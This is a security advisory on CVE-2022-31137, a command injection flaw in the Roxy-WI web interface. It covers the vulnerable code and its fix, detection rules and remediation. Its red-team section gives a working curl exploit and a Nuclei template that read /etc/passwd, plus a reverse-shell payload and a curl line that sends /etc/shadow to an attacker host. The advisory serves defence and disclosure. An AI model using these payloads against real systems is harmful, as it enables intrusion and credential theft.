CVE-2022-31137

Executive Summary

CVE-2022-31137 is a critical unauthenticated remote code execution (RCE) vulnerability in Roxy-WI, a web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. Versions prior to 6.1.1.0 are affected. The vulnerability resides in the /app/options.py file, where the subprocess_execute function executes system commands without sanitizing user-supplied input. An attacker can inject arbitrary commands via the serv or ipbackend parameters, leading to full system compromise. The CVSS score is 9.8 (Critical), and a public proof-of-concept (PoC) exists via a Nuclei template. No patch details beyond upgrading are available, and no workarounds exist.

Supply Chain & Package Security

Roxy-WI is a Python-based web application. The vulnerability is not in a package dependency but in the application's own code. However, the application may be distributed via PyPI or GitHub releases. Users should verify the integrity of their installation and ensure they are using the official source. No known malicious packages have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full system read access.
• Integrity Impact: High (I:H) – Full system write access.
• Availability Impact: High (A:H) – Potential for denial of service or full control.

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and grants complete control over the affected server.

Deep Dive & Mechanics

The vulnerability is located in the /app/options.py file. The subprocess_execute function is used to run system commands, but it does not sanitize or validate user input from the serv and ipbackend parameters. An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

The vulnerable code path is triggered via a POST request to /app/options.py with parameters like alert_consumer, serv, ipbackend, and backend_server. The serv parameter is used to construct a command that is passed to subprocess_execute. By injecting a payload such as ";cat /etc/passwd #", the attacker can execute arbitrary commands.

The Nuclei template demonstrates this by sending a POST request with the payload ";cat+/etc/passwd+## in the ipbackend parameter. The server then executes the command and returns the output in the HTTP response.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.1.1.0):

# /app/options.py (simplified)
def subprocess_execute(cmd):
    import subprocess
    return subprocess.check_output(cmd, shell=True)

# In the handler
serv = request.form.get('serv')
cmd = f"some_command {serv}"
output = subprocess_execute(cmd)

Patched Code (6.1.1.0+):

# /app/options.py (simplified)
def subprocess_execute(cmd):
    import subprocess
    # Use a list to avoid shell injection
    return subprocess.check_output(cmd, shell=False)

# In the handler
serv = request.form.get('serv')
# Validate and sanitize input
if not is_valid_ip(serv):
    return "Invalid input", 400
cmd = ["some_command", serv]
output = subprocess_execute(cmd)

The patched version avoids using shell=True and validates input to prevent command injection.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target running Roxy-WI < 6.1.1.0.
• Network access to the web interface.

Exploit Steps:

1. Identify the target using Shodan or FOFA with the dorks provided.
2. Send a crafted POST request to /app/options.py with the payload in the ipbackend parameter.
3. The server executes the injected command and returns the output.

Example using curl:

curl -X POST http://target.com/app/options.py \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Origin: http://target.com" \
  -H "Referer: http://target.com/app/login.py" \
  -d 'alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1'

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Advanced Payloads:

• Reverse shell: ";bash -i >& /dev/tcp/attacker_ip/4444 0>&1 #
• Data exfiltration: ";curl http://attacker_ip/$(cat /etc/shadow) #

Blue Team (Defender)

Detection:

• Monitor HTTP POST requests to /app/options.py with suspicious parameters.
• Look for shell metacharacters (;, |, &, `, $()) in the serv or ipbackend fields.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hunting:

• Search web server logs for requests containing ipbackend with encoded or raw shell commands.
• Check for outbound connections to unknown IPs on common ports (4444, 8080, etc.).

Containment:

• Immediately isolate the affected server.
• Block inbound/outbound traffic to/from the server if possible.
• Review and rotate all credentials stored on the system.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /app/options.py with parameters containing shell metacharacters.
  • Outbound connections from the Roxy-WI server to unknown IPs on high ports.
• File IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., reverse shell scripts).
  • Modified system binaries (e.g., /bin/bash replaced with a backdoor).
• Process IOCs:
  • Unusual processes spawned by the web server user (e.g., bash, nc, python).
• Log IOCs:
  • Web server logs showing requests with ipbackend containing ;, |, or &&.

Detection Engineering

YARA Rule

rule CVE_2022_31137_Roxy_WI_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2022-31137 in Roxy-WI"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-31137"
    strings:
        $s1 = "/app/options.py" ascii wide nocase
        $s2 = "ipbackend" ascii wide nocase
        $s3 = "serv" ascii wide nocase
        $s4 = "alert_consumer" ascii wide nocase
        $s5 = /["';|&`$()]/ ascii wide
    condition:
        all of ($s1, $s2, $s3, $s4) and $s5
}

Sigma Rule

title: CVE-2022-31137 Roxy-WI RCE Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /app/options.py with shell metacharacters in parameters
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "/app/options.py"
        cs-uri-query|contains|all:
            - "ipbackend"
            - "serv"
            - "alert_consumer"
        cs-uri-query|re: "[\"';\|&`$()]"
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2022-31137 Roxy-WI RCE Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/app/options.py"; http_uri;
    content:"ipbackend"; http_client_body;
    content:"serv"; http_client_body;
    content:"alert_consumer"; http_client_body;
    pcre:"/[\"';\|&`$()]/Ri";
    reference:cve,2022-31137;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2022-31137

info:
  name: Roxy-WI < 6.1.1.0 - Remote Code Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/options.py file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Users are advised to upgrade to latest version.
  reference:
    - http://packetstormsecurity.com/files/167805/Roxy-WI-Remote-Command-Execution.html
    - https://www.cve.org/CVERecord?id=CVE-2022-31137
    - https://github.com/hap-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31137
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31137
    cwe-id: CWE-74
    epss-score: 0.93971
    epss-percentile: 0.99889
    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roxy-wi
    product: roxy-wi
    shodan-query:
      - http.html:"Roxy-WI"
      - http.html:"roxy-wi"
    fofa-query: body="roxy-wi"
  tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln

http:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/app/login.py

        alert_consumer=1&serv=127.0.0.1&ipbackend=";cat+/etc/passwd+##&backend_server=127.0.0.1

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 480a00453043021f68f8d48ecef8d9beed3058f7abd96dbec21ea2a5ba14f0be1db5dbe39b6d2402204dc4e3922a1fa72954cd422f0bf3a09e9dddc05e00a60bc6648093b2b3552eba:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Roxy-WI to version 6.1.1.0 or later immediately.
2. Isolate: If upgrading is not possible, isolate the affected server from the network.
3. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the ipbackend or serv parameters.
4. Input Validation: Implement strict input validation for all user-supplied parameters, especially those used in system commands.

Long-Term Measures:

• Code Review: Conduct a security audit of the application code to identify similar vulnerabilities.
• Least Privilege: Run the web server with the minimum necessary privileges.
• Monitoring: Enable detailed logging and monitoring for all POST requests to /app/options.py.
• Patch Management: Establish a process for timely application of security patches.

Workarounds:

• No official workarounds exist. The only solution is to upgrade.

Report generated by Valters IT DevSecOps & CTI Division. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: F3863A9B7E567D4808A8B534] */}